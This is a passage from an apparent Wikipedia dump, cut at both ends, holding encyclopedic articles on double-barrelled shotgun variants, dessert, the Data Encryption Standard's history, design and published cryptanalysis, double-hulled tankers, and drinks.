&quot;[[Sawn-off shotgun]]s&quot; are usually made from double barreled shotguns. Unlike tube magazine shotguns (such as pump action or semi-automatic varieties), the double barrelled shotgun has no mechanism forward of the breech, so sawing off much of the barrel does not prevent it from operating. Consequently, [[criminal]]s who desire a more readily concealed firearm may saw off much of the barrels (and perhaps also the stock) to shorten the gun. The resulting weapon is much less powerful and quite inaccurate. Modifying a shotgun in this way is illegal in most [[jurisdiction]]s, and often the barrels are severely weakened by the modification making it more likely they will be blown apart by the shot.  One commercial production version was the Ithaca firearms company Auto and Burglar gun, a double-barrelled shotgun pistol.

A related but rarer variant is a [[Drilling (firearm)|drilling]] (from the German &quot;drei&quot;, meaning three), a firearm constructed with three barrels: usually two &quot;side by side&quot; shotgun barrels, and a single shot [[rifle]] barrel beneath them. This arrangement allows a hunter to hunt small game or fowl with a double-barrelled shotgun, but have a rifle shot instantly available if a longer range shot, or heavier game, is encountered. Drillings are mainly encountered in Central [[Europe]].

An even rarer type of gun is the [[Vierling (firearm)|vierling]], a firearm constructed with four barrels. It's basically a drilling with a second rifled barrel placed above the two &quot;side by side&quot; shotgun barrels. Once very popular, the drillings - and especially the vierlings - are very hard to find nowadays.

Double-barrelled rifles also exist, with hunters traditionally preferring them for dangerous game in Africa where the ability to fire two shots quickly, without reloading and without danger of the mechanism jamming, could be critical.

''See also:'' [[gun]]


[[Category:Shotguns]]</text>
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    <title>Dessert</title>
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      <text xml:space="preserve">{{Meals}}
[[Image:desserts.jpg|right|frame|A selection of desserts]]

'''Dessert''' is a course that typically comes at the end of a dinner, usually consisting of sweet [[food]] but sometimes of a strongly flavored one, such as some [[cheese]]s. The word comes from the [[Old French]] ''desservir'', meaning &quot;to clear the table&quot;. '''Dessert''' is most commonly used in [[Hiberno-English]], [[American English|American English]], [[Canadian English]], [[Australian English]] and in [[French language|French]]. '''Sweet''', '''pudding''' or '''afters''' would be more typical in other variants of [[Commonwealth English]] for this course. 

Dessert as a standard part of a [[Western world|Western]] meal is a relatively recent development. Before the [[19th-century]] rise of the [[middle class]], and the [[mechanization]] of the [[sugar]] industry, sweets were a privilege of the [[aristocracy]], or a rare [[holiday]] treat. As sugar became cheaper and more readily available, the development and popularity of desserts spread accordingly. 

Some cultures do not have a separate final sweet course but mix sweet and savoury dishes throughout the meal as in [[Chinese cuisine]], or reserve elaborate dessert concoctions for special occasions. Often, the dessert is seen as a separate meal or snack rather than a course, and may be eaten some time after the meal (usually in less formal settings). Some restaurants specialize in dessert. 

==Common types of desserts==
*[[Biscuit]]s or [[cookie]]s
*[[Cake]]s
*[[Crumble]]s
*[[Custard]]s
*[[Fruit]]
*[[Gelatin dessert]]s
*[[Ice cream]]s
*[[Meringue]]s
*[[Pastries]]
*[[Pie]]s or [[tart]]s
*[[Pudding]]s
*[[Sorbet]]s
*[[Soufflé]]s
*[[Trifle]]s

[[Image:Mass food production.jpg|thumb|left|250px|Dessert made ''en masse'']]

{{cookbook}}
{{commonscat|Desserts}}
[[Category:Desserts| ]]

[[da:Dessert]]
[[de:Dessert]]
[[es:Postre]]
[[eo:Deserto]]
[[fr:Dessert]]
[[he:קינוח]]
[[nl:Dessert]]
[[ja:デザート]]
[[pt:Sobremesa]]
[[simple:Dessert]]
[[fi:Jälkiruoka]]
[[zh:甜品]]</text>
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  <page>
    <title>Data Encryption Standard</title>
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      <text xml:space="preserve">{{featured article}}
{{Infobox Block Ciphers |
  fullName        = Data Encryption Standard |
  image           = Data Encryption Standard InfoBox Diagram.png |
  caption         = The Feistel function (F function) of DES |
  yearPublished   = 1975 (January 1977 as the standard) |
  derivedFrom     = [[Lucifer (cipher)]]| 
  derivedTo       = [[Triple DES]], [[G-DES]], [[DES-X]], [[LOKI89]], [[ICE (cipher)|ICE]] |
  designers       = [[IBM]] |
  blockSize       = 64 bits |
  keySize         = 56 bits |
  cipherStructure = [[Feistel network]] |
  rounds          = 16 |
  cryptanalysis   = DES is now considered insecure because a [[brute force attack]] is possible (see [[EFF DES cracker]]). [[As of 2004]], the best analytical attack is [[linear cryptanalysis]], which requires 2&lt;sup&gt;43&lt;/sup&gt; [[known plaintext]]s and has a time complexity of 2&lt;sup&gt;39-43&lt;/sup&gt; (Junod, 2001); under a [[chosen-plaintext]] assumption, the data complexity can be reduced by a factor of four (Knudsen and Mathiassen, 2000).
}}

The '''Data Encryption Standard''' ('''DES''')  is a [[cipher]] (a method for [[encrypt]]ing information) selected as an official [[Federal Information Processing Standard]] (FIPS) for the [[United States]] in 1976, and which has subsequently enjoyed widespread use internationally. The algorithm was initially controversial, with [[classified information|classified]] design elements, a relatively short [[key length]], and suspicions about a [[National Security Agency]] (NSA) [[backdoor]]. DES consequently came under intense [[academia|academic]] scrutiny, and motivated the modern understanding of [[block cipher]]s and their [[cryptanalysis]]. 

DES is now considered to be insecure for many applications. This is chiefly due to the 56-bit key size being too small; DES keys have been broken in less than 24 hours. There are also some analytical results which demonstrate theoretical weaknesses in the cipher, although they are infeasible to mount in practice. The algorithm is believed to be practically secure in the form of [[Triple DES]], although there are theoretical attacks. In recent years, the cipher has been superseded by the [[Advanced Encryption Standard]] (AES).

In some documentation, a distinction is made between DES as a standard, and the algorithm, which is referred to as the '''DEA''' (the '''Data Encryption Algorithm'''). When spoken, &quot;DES&quot; is either spelled out (''dee-ee-ess'') or pronounced as a single syllable (''dez'').

==History of DES==
The origins of DES go back to the early 1970s. In 1972, after concluding a study on the US government's [[computer security]] needs, the US standards body [[NBS]] (National Bureau of Standards) — now renamed [[NIST]] (National Institute of Standards and Technology) — identified a need for a government-wide standard for encrypting unclassified, sensitive information.  Accordingly, on [[15 May]] [[1973]], after consulting with the NSA, NBS solicited proposals for a cipher that would meet rigorous design criteria. None of the submissions, however, turned out to be suitable. A second request was issued on [[27 August]] [[1974]]. This time, [[International Business Machines|IBM]] submitted a candidate which was deemed acceptable, a cipher developed during the period 1973–1974 based on an earlier algorithm, [[Horst Feistel]]'s [[Lucifer (cipher)|Lucifer]] cipher. The team at IBM involved in cipher design and analysis included Feistel, [[Walter Tuchman]], [[Don Coppersmith]], Alan Konheim, Carl Meyer, Mike Matyas, Roy Adler, Edna Grossman, Bill Notz, Lynn Smith, and Bryant Tuckerman.

===NSA's involvement in the design===
On [[17 March]] [[1975]], the proposed DES was published in the ''[[Federal Register]]''. Public comments were requested, and in the following year two open workshops were held to discuss the proposed standard. There was some criticism from various parties, including from [[public-key cryptography]] pioneers [[Martin Hellman]] and [[Whitfield Diffie]], citing a shortened [[key length]] and the mysterious &quot;[[Substitution_box|S-box]]es&quot; as evidence of improper interference from the NSA. The suspicion was that the algorithm had been covertly weakened by the intelligence agency so that they — but no-one else — could easily read encrypted messages. Alan Konheim (one of the designers of DES) commented, &quot;We sent the S-boxes off to Washington. They came back and were all different.&quot; The [[United States Senate]] [[Select Committee on Intelligence]] reviewed the NSA's actions to determine whether there had been any improper involvement. In the unclassified summary of their findings, published in 1978, the Committee wrote:
:&quot;In the development of DES, NSA convinced [[IBM]] that a reduced key size was sufficient; indirectly assisted in the development of the S-box structures; and certified that the final DES algorithm was, to the best of their knowledge, free from any statistical or mathematical weakness.&quot;
However, it also found that
:&quot;NSA did not tamper with the design of the algorithm in any way. IBM invented and designed the algorithm, made all pertinent decisions regarding it, and concurred that the agreed upon key size was more than adequate for all commercial applications for which the DES was intended.&quot;
Another member of the DES team, Walter Tuchman, is quoted as saying, &quot;We developed the DES algorithm entirely within IBM using IBMers. The NSA did not dictate a single wire!&quot; 

Some of the suspicions about hidden weaknesses in the S-boxes were allayed in 1990, with the independent discovery and open publication by Eli Biham and Adi Shamir of [[differential cryptanalysis]], a general method for breaking block ciphers.  The S-boxes of DES were much more resistant to the attack than if they had been chosen at random, strongly suggesting that IBM knew about the technique back in the 1970s. This was indeed the case—in 1994, Don Coppersmith published the original design criteria for the S-boxes.  IBM had discovered differential cryptanalysis in the 1970s and, after securing DES, had been instructed to keep the technique secret by the NSA. Coppersmith explains, &quot;that was because [differential cryptanalysis] can be a very powerful tool, used against many schemes, and there was concern that such information in the public domain could adversely affect national security.&quot;. Shamir himself commented, &quot;I would say that, contrary to what some people believe, there is no evidence of tampering with the DES so that the basic design was weakened.&quot;

The other criticism—that the key length was too short—was supported by the fact that the reason given by the [[NSA]] for reducing the key length from 64 bits to 56 was that the other 8 bits could serve as [[parity]] bits, which seemed somewhat specious. It is widely believed that NSA's decision was motivated by the possibility that they would be able to [[brute force attack]] a 56 bit key several years before the rest of the world would.

===The algorithm as a standard===
Despite the criticisms, DES was approved as a federal standard in November 1976, and published on [[15 January]] [[1977]] as '''FIPS PUB 46''', authorised for use on all unclassified data. It was subsequently reaffirmed as the standard in [[1983]], [[1988]] (revised as '''FIPS-46-1'''), 1993 ('''FIPS-46-2'''), and again in 1998 ('''FIPS-46-3'''), the latter prescribing &quot;[[Triple DES]]&quot; (see below). On [[26 May]] [[2002]], DES was finally superseded by [[Advanced Encryption Standard|AES]], the Advanced Encryption Standard, following a public competition (see [[AES process]]). Even [[as of 2004]], however, DES remains in widespread use.

Another theoretical attack, [[linear cryptanalysis]], was published in 1994, but it was a [[brute force attack]] in 1998 that demonstrated that DES could be attacked very practically, and highlighted the need for a replacement algorithm. These and other methods of [[cryptanalysis]] are discussed in more detail later in the article.

The introduction of DES is considered to have been a catalyst for the academic study of cryptography, particularly of methods to crack block ciphers. Bruce Schneier writes:
: ''&quot;Off the record, NSA has characterized DES as one of their biggest mistakes. If they knew the details would be released so that people could write software, they would never have agreed to it. DES did more to galvanize the field of cryptanalysis than anything else. Now there was an algorithm to study: one that the NSA said was secure.&quot;''

===Chronology===
{| class=&quot;wikitable&quot; style=&quot;font-size:85%&quot;
! Date
! Year
! Event
|-
| [[15 May]]
| 1973
| NBS publishes a first request for a standard encryption algorithm
|-
| [[27 August]]
| 1974
| NBS publishes a second request for encryption algorithms
|-
| [[17 March]]
| 1975
| DES is published in the ''Federal Register'' for comment
|-
| August
| 1976
| First workshop on DES
|-
| September
| 1976
| Second workshop, discussing mathematical foundation of DES
|-
| November
| 1976
| DES is approved as a standard
|-
| [[15 January]]
| 1977
| DES is published as a FIPS standard FIPS PUB 46
|-
| 
| 1983
| DES is reaffirmed for the first time
|-
| 
| 1986
| [[Videocipher]] II, a TV satellite scrambling system based upon DES begins use by HBO
|-
| [[22 January]]
| 1988
| DES is reaffirmed for the second time as FIPS 46-1, superseding FIPS PUB 46
|-
| 
| 1992
| Biham and Shamir publish the first theoretical attack with less complexity than brute force: [[differential cryptanalysis]]. However, it requires an unrealistic 2&lt;sup&gt;47&lt;/sup&gt; [[chosen plaintext]]s (Biham and Shamir, 1992).
|-
| [[30 December|30&amp;nbsp;December]]
| 1993
| DES is reaffirmed for the third time as FIPS 46-2
|-
| 
| 1994
| The first experimental cryptanalysis of DES is performed using [[linear cryptanalysis]] (Matsui, 1994).
|-
| June
| 1997
| The [[DESCHALL Project]] breaks a message encrypted with DES for the first time in public.
|-
| July
| 1998
| The [[Electronic_Frontier_Foundation|EFF]]'s [[EFF DES cracker|DES cracker]] (Deep Crack) breaks a DES key in 56 hours.
|-
| January
| 1999
| Together, [[Deep Crack]] and [[distributed.net]] break a DES key in 22 hours and 15 minutes.
|-
| [[25 October]]
| 1999
| DES is reaffirmed for the fourth time as FIPS 46-3, which specifies the preferred use of [[Triple DES]], with single DES permitted only in legacy systems.
|-
| [[26 November|26&amp;nbsp;November]]
| 2001
| The [[Advanced Encryption Standard]] is published in FIPS 197
|-
| [[26 May]]
| 2002
| The AES standard becomes effective
|-
| [[26 July]]
| 2004
| The withdrawal of FIPS 46-3 (and a couple of related standards) is proposed in the ''Federal Register'' [http://edocket.access.gpo.gov/2004/04-16894.htm]
|-
| [[19 May]]
| 2005
| NIST withdraws FIPS 46-3
|-
|}

==Replacement algorithms==
Concerns about security and the relatively slow operation of DES in [[software]] motivated researchers to propose a variety of alternative [[block cipher]] designs, which started to appear in the late 1980s and early 1990s; for example [[RC5]], [[Blowfish (cipher)|Blowfish]], [[International Data Encryption Algorithm|IDEA]], [[NewDES]], [[SAFER]], [[CAST5]] and [[FEAL]]. Most of these designs kept the 64-bit block size of DES, and could act as a &quot;drop-in&quot; replacement, although they typically used a 64-bit or 128-bit key.

DES itself can be adapted and reused in a more secure scheme. Many former DES users now use [[Triple DES]] (TDES) which was described and analysed by one of DES's patentees (see [[Federal Information Processing Standard |FIPS]] Pub 46-3); it involves applying DES three times with different keys. TDES is regarded as adequately secure, although it is quite slow. A less computationally expensive alternative is [[DES-X]], which increases the key size by XORing extra key material before and after DES. [[GDES]] was a DES variant proposed as a way to speed up encryption, but it was shown to be susceptible to differential cryptanalysis.

In 2001, after an international competition, NIST selected a new cipher: the [[Advanced Encryption Standard]] (AES), as a replacement. The algorithm which was selected as the AES was submitted by its designers under the name [[Rijndael]]. Other finalists in the NIST [[AES competition]] included [[RC6]], [[Serpent (cipher)|Serpent]], [[MARS]], and [[Twofish]].

==Description==
[[Image:DES-main-network.png|right|250px|thumb|''Figure 1'' — The overall Feistel structure of DES]]
:''For brevity, the following description omits the exact transformations and permutations which specify the algorithm; for reference, the details can be found in [[DES supplementary material]].''
DES is the archetypal [[block cipher]] — an algorithm that takes a fixed-length string of [[plaintext]] bits and transforms it through a series of complicated operations into another [[ciphertext]] bitstring of the same length. In the case of DES, the [[block size (cryptography)|block size]] is 64 bits. DES also uses a [[key (cryptography)|key]] to customize the transformation, so that decryption can only be performed by those who know the particular key used to encrypt. The key ostensibly consists of 64 bits; however, only 56 of these are actually used by the algorithm. Eight bits are used solely for checking [[parity]], and are thereafter discarded. Hence the effective [[key length]] is 56 bits, and it is usually quoted as such.

Like other block ciphers, DES must be used in a [[block cipher mode of operation|mode of operation]] if applied to a message longer than 64 bits. FIPS-81 specifies several modes for use with DES, including one for [[authentication]] [http://www.itl.nist.gov/fipspubs/fip81.htm]. Further comments on the usage of DES are contained in FIPS-74 [http://www.itl.nist.gov/fipspubs/fip74.htm].

===Overall structure===
The algorithm's overall structure is shown in Figure 1: there are 16 identical stages of processing, termed ''rounds''. There is also an initial and final [[permutation]], termed ''IP'' and ''FP'', which are [[inverse (function)|inverse]]s (IP &quot;undoes&quot; the action of FP, and vice versa).  IP and FP have almost no cryptographic significance, but were apparently included in order to facilitate loading blocks in and out of mid-1970s hardware. Before the main rounds, the block is divided into two 32-bit halves and processed alternately; this criss-crossing is known as the [[Feistel scheme]].

The Feistel structure ensures that decryption and encryption are very similar processes — the only difference is that the subkeys are applied in the reverse order when decrypting. The rest of the algorithm is identical. This greatly simplifies implementation, particularly in hardware, as there is no need for separate encryption and decryption algorithms.

The red &lt;math&gt;\oplus&lt;/math&gt; symbol denotes the [[XOR|exclusive-OR]] (XOR) operation. The ''F-function'' scrambles half a block together with some of the key. The output from the F-function is then combined with the other half of the block, and the halves are swapped before the next round. After the final round, the halves are not swapped; this is a feature of the Feistel structure which makes encryption and decryption similar processes.

===The Feistel (F) function===
The F-function, depicted in Figure 2, operates on half a block (32 bits) at a time and consists of four stages:
[[Image:DES-f-function.png|left|thumb|270px|''Figure 2'' —The Feistel function (F-function) of DES]]

# ''Expansion'' — the 32-bit half-block is expanded to 48 bits using the ''expansion permutation'', denoted ''E'' in the diagram, by duplicating some of the bits. 
# ''Key mixing'' — the result is combined with a ''subkey'' using an XOR operation. Sixteen 48-bit subkeys — one for each round — are derived from the main key using the ''[[key schedule]]'' (described below).
# ''Substitution'' — after mixing in the subkey, the block is divided into eight 6-bit pieces before processing by the ''[[Substitution_box|S-box]]es'', or ''substitution boxes''. Each of the eight S-boxes replaces its six input bits with four output bits according to a non-linear transformation, provided in the form of a [[lookup table]]. The S-boxes provide the core of the security of DES — without them, the cipher would be linear, and trivially breakable.
# ''Permutation'' — finally, the 32 outputs from the S-boxes are rearranged according to a fixed [[permutation]], the ''P-box''. 

The alternation of substitution from the S-boxes, and permutation of bits from the P-box and E-expansion provides so-called &quot;[[confusion and diffusion]]&quot; respectively, a concept identified by [[Claude Shannon]] in the 1940s as a necessary condition for a secure yet practical cipher.

===Key schedule===
[[Image:DES-key-schedule.png|right|thumb|220px|''Figure 3'' — The key-schedule of DES]]
Figure 3 illustrates the ''key schedule'' for encryption  — the algorithm which generates the subkeys. Initially, 56 bits of the key are selected from the initial 64 by ''Permuted Choice 1'' (''PC-1'') — the remaining eight bits are either discarded or used as [[parity]] check bits. The 56 bits are then divided into two 28-bit halves; each half is thereafter treated separately. In successive rounds, both halves are rotated left by one or two bits (specified for each round), and then 48 subkey bits are selected by ''Permuted Choice 2'' (''PC-2'') — 24 bits from the left half, and 24 from the right. The rotations (denoted by &quot;&lt;&lt;&lt;&quot; in the diagram) mean that a different set of bits is used in each subkey; each bit is used in approximately 14 out of the 16 subkeys.

The key schedule for decryption is similar — it must generate the keys in the reverse order. Hence the rotations are to the right, rather than the left.

==Security and cryptanalysis==
Although more information has been published on the cryptanalysis of DES than any other block cipher, the most practical attack to date is still a brute force approach. Various minor cryptanalytic properties are known, and three theoretical attacks are possible which, while having a theoretical complexity less than a brute force attack, require an unrealistic amount of [[known plaintext|known]] or [[chosen plaintext]] to carry out, and are not a concern in practice.

===Brute force attack===
For any cipher, the most basic method of attack is [[brute force attack|brute force]] — trying every possible key in turn. The [[key length|length of the key]] determines the number of possible keys, and hence the feasibility of this approach. For DES, questions were raised about the adequacy of its key size early on, even before it was adopted as a standard, and it was the small key size, rather than theoretical cryptanalysis, which dictated a need for a replacement algorithm. It is known that the NSA encouraged, if not persuaded, IBM to reduce the key size from 128 to 64 bits, and from there to 56 bits; this is often taken as an indication that the NSA possessed enough computer power to break keys of this length even in the mid-1970s. 

[[Image:Board300.jpg|thumbnail|right|260px|The [[Electronic Frontier Foundation|EFF]]'s US$250,000 [[EFF DES cracker|DES cracking machine]] contained 1,536 custom chips and could brute force a DES key in a matter of days — the photo shows a DES Cracker circuit board fitted with several Deep Crack chips.]]

In academia, various proposals for a DES-cracking machine were advanced. In 1977, Diffie and Hellman proposed a machine costing an estimated US$20 million which could find a DES key in a single day. By 1993, Wiener had proposed a key-search machine costing US$1 million which would find a key within 7 hours. The vulnerability of DES was practically demonstrated in the late 1990s.  In 1997, [[RSA Security]] sponsored a series of contests, offering a $10,000 prize to the first team that broke a message encrypted with DES for the contest.  That contest was won by the DESCHALL Project, led by Rocke Verser, [[Matt Curtin]], and Justin Dolske, using idle cycles of thousands of computers across the Internet.  The feasibility of cracking DES quickly was demonstrated in 1998 when a custom DES-cracker was built by the [[Electronic Frontier Foundation]] (EFF), a cyberspace civil rights group, at the cost of approximately US$250,000 (see [[EFF DES cracker]]). Their motivation was to show that DES was breakable in practice as well as in theory: &quot;''There are many people who will not believe a truth until they can see it with their own eyes. Showing them a physical machine that can crack DES in a few days is the only way to convince some people that they really cannot trust their security to DES.''&quot; The machine brute-forced a key in a little more than 2 days' search; at about the same time at least one attorney from the US Justice Department was announcing that DES was unbreakable.

===Attacks faster than brute-force===
There are three attacks known that can break the full sixteen rounds of DES with less complexity than a brute-force search: [[differential cryptanalysis]] (DC), [[linear cryptanalysis]] (LC), and [[Davies' attack]]. However, the attacks are theoretical and are infeasible to mount in practice; these types of attack are sometimes termed [[certificational weakness]]es.

* ''Differential cryptanalysis'' was discovered in the late 1980s by [[Eli Biham]] and [[Adi Shamir]], although it was known earlier to both IBM and the NSA and kept secret. To break the full 16 rounds, differential cryptanalysis requires 2&lt;sup&gt;47&lt;/sup&gt; [[chosen plaintext]]s. DES was designed to be resistant to DC.
* ''Linear cryptanalysis'' was discovered by Mitsuru Matsui, and needs 2&lt;sup&gt;43&lt;/sup&gt; [[known plaintext]]s (Matsui, 1993); the method was implemented (Matsui, 1994), and was the first experimental cryptanalysis of DES to be reported. There is no evidence that DES was tailored to be resistant to this type of attack. A generalisation of LC — ''multiple linear cryptanalysis'' — was suggested in 1994 (Kaliski and Robshaw), and was further refined by Biryukov et al (2004); their analysis suggests that multiple linear approximations could be used to reduce the data requirements of the attack by at least a factor of 4 (i.e. 2&lt;sup&gt;41&lt;/sup&gt; instead of 2&lt;sup&gt;43&lt;/sup&gt;). A similar reduction in data complexity can be obtained in a chosen-plaintext variant of linear cryptanalysis (Knudsen and Mathiassen, 2000). Junod (2001) performed several experiments to determine the actual time complexity of linear cryptanalysis, and reported that it was somewhat faster than predicted, requiring time equivalent to 2&lt;sup&gt;39&lt;/sup&gt;–2&lt;sup&gt;41&lt;/sup&gt; DES evaluations.
* ''Improved Davies' attack'': while linear and differential cryptanalysis are general techniques and can be applied to a number of schemes, Davies' attack is a specialised technique for DES, first suggested by Davies in the eighties, and improved by Biham and Biryukov (1997). The most powerful form of the attack requires 2&lt;sup&gt;50&lt;/sup&gt; [[known plaintext]]s, has a computational complexity of 2&lt;sup&gt;50&lt;/sup&gt;, and has a 51% success rate.

There have also been attacks proposed against reduced-round versions of the cipher, i.e. versions of DES with fewer than sixteen rounds. Such analysis gives an insight into how many rounds are needed for safety, and how much of a &quot;security margin&quot; the full version retains. [[Differential-linear cryptanalysis]] was proposed by Langford and Hellman in 1994, and combines differential and linear cryptanalysis into a single attack. An enhanced version of the attack can break 9-round DES with 2&lt;sup&gt;15.8&lt;/sup&gt; known plaintexts and has a 2&lt;sup&gt;29.2&lt;/sup&gt; time complexity (Biham et al, 2002).

===Minor cryptanalytic properties===
DES exhibits the [[complementation property]], namely that
:&lt;math&gt;E_K(P)=C \Leftrightarrow E_\overline{K}(\overline{P})=\overline{C}&lt;/math&gt;
where &lt;math&gt;\overline{x}&lt;/math&gt; is the bitwise complement of &lt;math&gt;x.&lt;/math&gt; &lt;math&gt;E_K&lt;/math&gt; denotes encryption with key &lt;math&gt;K.&lt;/math&gt;  &lt;math&gt;P&lt;/math&gt; and &lt;math&gt;C&lt;/math&gt; denote plaintext and ciphertext blocks respectively. The complementation property means that the work for a [[brute force attack]] could be reduced by a factor of 2 (or a single bit) under a [[chosen-plaintext attack|chosen-plaintext]] assumption.

DES also has four so-called ''[[weak key]]s''. Encryption (''E'') and decryption (''D'') under a weak key have the same effect (see [[involution]]):
:&lt;math&gt;E_K(E_K(P)) = P&lt;/math&gt; or equivalently, &lt;math&gt;E_K = D_K&lt;/math&gt;
There are also six pairs of ''semi-weak keys''. Encryption with one of the pair of semiweak keys, &lt;math&gt;K_1&lt;/math&gt;, operates identically to decryption with the other, &lt;math&gt;K_2&lt;/math&gt;:
:&lt;math&gt;E_{K_1}(E_{K_2}(P)) = P&lt;/math&gt; or equivalently, &lt;math&gt;E_{K_2} = D_{K_1}&lt;/math&gt;
It is easy enough to avoid the weak and semiweak keys in an implementation, either by testing for them explicitly, or simply by choosing keys randomly; the odds of picking a weak or semiweak key by chance are negligible.

DES has also been proved not to be a [[group (mathematics)|group]], or more precisely, the set &lt;math&gt;\{E_K\}&lt;/math&gt; (for all possible keys &lt;math&gt;K&lt;/math&gt;) under [[functional composition]] is not a group, nor &quot;close&quot; to being a group (Campbell and Wiener, 1992). This was an open question for some time, and if it had been the case, it would have been possible to break DES, and multiple encryption modes such as Triple DES would not increase the security.

==See also==
* [[Symmetric key algorithm]]
* [[Advanced Encryption Standard]]
* [[Skipjack (cipher)|Skipjack]]

==References==
* Ehrsam etl a., Product Block Cipher System for Data Security, {{US patent|3,962,539}}, Filed Feb. 24, 1975 
* Eli Biham, Adi Shamir, Differential Cryptanalysis of the Data Encryption Standard, Springer Verlag, 1993. ISBN 0-387-97930-1, ISBN 3-540-97930-1.
* Eli Biham, Alex Biryukov: An Improvement of Davies' Attack on DES. J. Cryptology 10(3): 195-206 (1997)
* Eli Biham, Orr Dunkelman, Nathan Keller: Enhancing Differential-Linear Cryptanalysis. ASIACRYPT 2002: pp254–266
* Eli Biham: A Fast New DES Implementation in Software [http://cryptome.org/cracking-des.htm Cracking DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design], [[Electronic Frontier Foundation]]
* A.Biryukov, C.De Canniere, M.Quisquater, &quot;On Multiple Linear Approximations&quot;, CRYPTO 2004 (to appear); [http://www.esat.kuleuven.ac.be/~abiryuko/mla.pdf preprint (PDF)].
* Keith W. Campbell, Michael J. Wiener: DES is not a Group. CRYPTO 1992: pp512–520
* Don Coppersmith. (1994). The data encryption standard (DES) and its strength against attacks. ''IBM Journal of Research and Development'', '''38'''(3), 243–250. [http://www.research.ibm.com/journal/rd/383/coppersmith.pdf]
* Witfield Diffie, Martin Hellman, &quot;Exhaustive Cryptanalysis of the NBS Data Encryption Standard&quot; IEEE Computer 10(6), June 1977, pp74-84 
* [[John Gilmore (advocate)|John Gilmore]], &quot;Cracking DES: Secrets of Encryption Research, Wiretap Politics and Chip Design&quot;, 1998, O'Reilly, ISBN 1565925203.
* [http://crypto.junod.info/sac01.html Pascal Junod, &quot;On the Complexity of Matsui's Attack. Selected Areas in Cryptography&quot;, 2001, pp199-211].
* Burton S. Kaliski Jr., Matthew J. B. Robshaw: Linear Cryptanalysis Using Multiple Approximations. CRYPTO 1994: pp26–39
* Lars R. Knudsen, John Erik Mathiassen: A Chosen-Plaintext Linear Attack on DES. FSE 2000: pp262–272
* Susan K. Langford, Martin E. Hellman: Differential-Linear Cryptanalysis. CRYPTO 1994: 17–25
* [[Steven Levy]], [[Crypto: How the Code Rebels Beat the Government Saving Privacy in the Digital Age]], 2001, ISBN 0140244328.
* Mitsuru Matsui: Linear Cryptanalysis Method for DES Cipher. EUROCRYPT 1993: pp386-397
* Mitsuru Matsui: The First Experimental Cryptanalysis of the Data Encryption Standard. CRYPTO 1994: pp1-11
* National Bureau of Standards, Data Encryption Standard, FIPS-Pub.46. National Bureau of Standards, U.S. Department of Commerce, Washington D.C., January 1977.

==External links==
* [http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf FIPS 46-3: The official document describing the DES standard] (PDF); [http://www.itl.nist.gov/fipspubs/fip46-2.htm An older version in HTML.]
* [http://www.eff.org/Privacy/Crypto/Crypto_misc/DESCracker/ The EFF DES cracker project]
* [http://www.cs.ut.ee/~helger/crypto/link/block/des.php Helger Lipmaa's links for DES]
* [http://www.aci.net/kalliste/des.htm A worked example of the DES algorithm]
* [http://www.cs.eku.edu/faculty/styer/460/Encrypt/JS-DES.html A Javascript DES calculator showing intermediate values]
* [http://www.quadibloc.com/crypto/co0402.htm John Savard's description of DES]
* [http://www.cs.technion.ac.il/users/wwwb/cgi-bin/tr-get.cgi/1997/CS/CS0891.ps A Fast New DES Implementation in Software - Biham]
* [http://www.darkside.com.au/bitslice/  Bit slice implementation of DES]
* [http://eprint.iacr.org/2004/057.ps.gz On Multiple Linear Approximations]

{{Block_ciphers}} 

[[Category:Block ciphers]]
[[Category:Free ciphers]]
[[Category:National Security Agency]]

[[da:Data Encryption Standard]]
[[de:Data Encryption Standard]]
[[es:DES]]
[[eo:DES]]
[[fr:Data Encryption Standard]]
[[ko:DES]]
[[id:Data Encryption Standard]]
[[it:Data Encryption Standard]]
[[he:DES]]
[[nl:Data Encryption Standard]]
[[ja:DES]]
[[no:DES]]
[[nn:DES]]
[[pl:DES]]
[[pt:DES]]
[[ru:DES]]
[[sl:DES]]
[[fi:DES]]
[[sv:Data Encryption Standard]]
[[zh:DES]]</text>
    </revision>
  </page>
  <page>
    <title>DeMoivresFormula</title>
    <id>7979</id>
    <revision>
      <id>15906011</id>
      <timestamp>2002-10-09T14:05:37Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[De Moivre's formula]]</comment>
      <text xml:space="preserve">#REDIRECT [[De Moivre's formula]]</text>
    </revision>
  </page>
  <page>
    <title>Double-hulled tanker</title>
    <id>7983</id>
    <revision>
      <id>41885082</id>
      <timestamp>2006-03-02T10:16:18Z</timestamp>
      <contributor>
        <ip>68.8.15.105</ip>
      </contributor>
      <comment>Cite law requiring DHTs. Could be used to beef up the article a bit...</comment>
      <text xml:space="preserve">A '''double-hulled tanker''' is a large [[Tanker (ship)|tanker]] [[ship]] used for transporting [[liquid]]s (usually [[petroleum]]).

The ship has two hulls to prevent the liquid cargo from spilling; if the outer hull is breached, the inner hull keeps the transported substance in place.

Double-hulled tankers were required under 46 USC § 3703a after the [[Exxon Valdez oil spill]]. The [[Congress of the United States|U.S. Congress]] passed The [[Oil Pollution Act of 1990]] requiring double-hull tankers now, but allowing the transportation companies until [[2015]] to replace existing tankers.

==External Sources==
*[http://www.imo.org/Safety/mainframe.asp?topic_id=155#double The International Maritime Organization] - Tanker Safety

{{water-stub}}
[[Category:Ship types]]</text>
    </revision>
  </page>
  <page>
    <title>Drink</title>
    <id>7984</id>
    <revision>
      <id>41793720</id>
      <timestamp>2006-03-01T20:14:49Z</timestamp>
      <contributor>
        <username>WAvegetarian</username>
        <id>282780</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">The word '''drink''' is primarily a verb, meaning to ingest liquids. As a noun, it refers to the liquid thus ingested. It is often used in a narrower sense to refer to [[alcoholic beverage]]s (as both a verb and a noun). ''Drink'' is also [[slang]] for a body of [[water]], such as an [[ocean]] or a water hazard on a [[golf]] course (e.g. &quot;He hit that one into the drink.&quot;). To ''drink in'' is also  used metaphorically, as in ''to drink in the scenery''.

A '''beverage''' is a drink specifically prepared for human consumption. Beverages almost always largely consist of [[water]]. Water is essential for living, significantly more so than food. Death will usually occur after 1 week without any liquids but humans have been known to survive some months without food. Drinks often consumed include:

* [[Water]]
** [[Bottled water]]
** [[Tap water]]
** [[Spring water]]
* [[Juice]]
** [[Fruit juice]]s
** [[Vegetable juice]]s
** [[Sap]]
*** [[Sugar cane]] juice
*** [[Maple sugar]] sap
*** [[Cactus]] juice
* [[Soft drink]]s
** [[Aguas frescas]]
** [[Ade]]s (non-[[carbonation|carbonated]], primarily [[sugar]] [[water]])
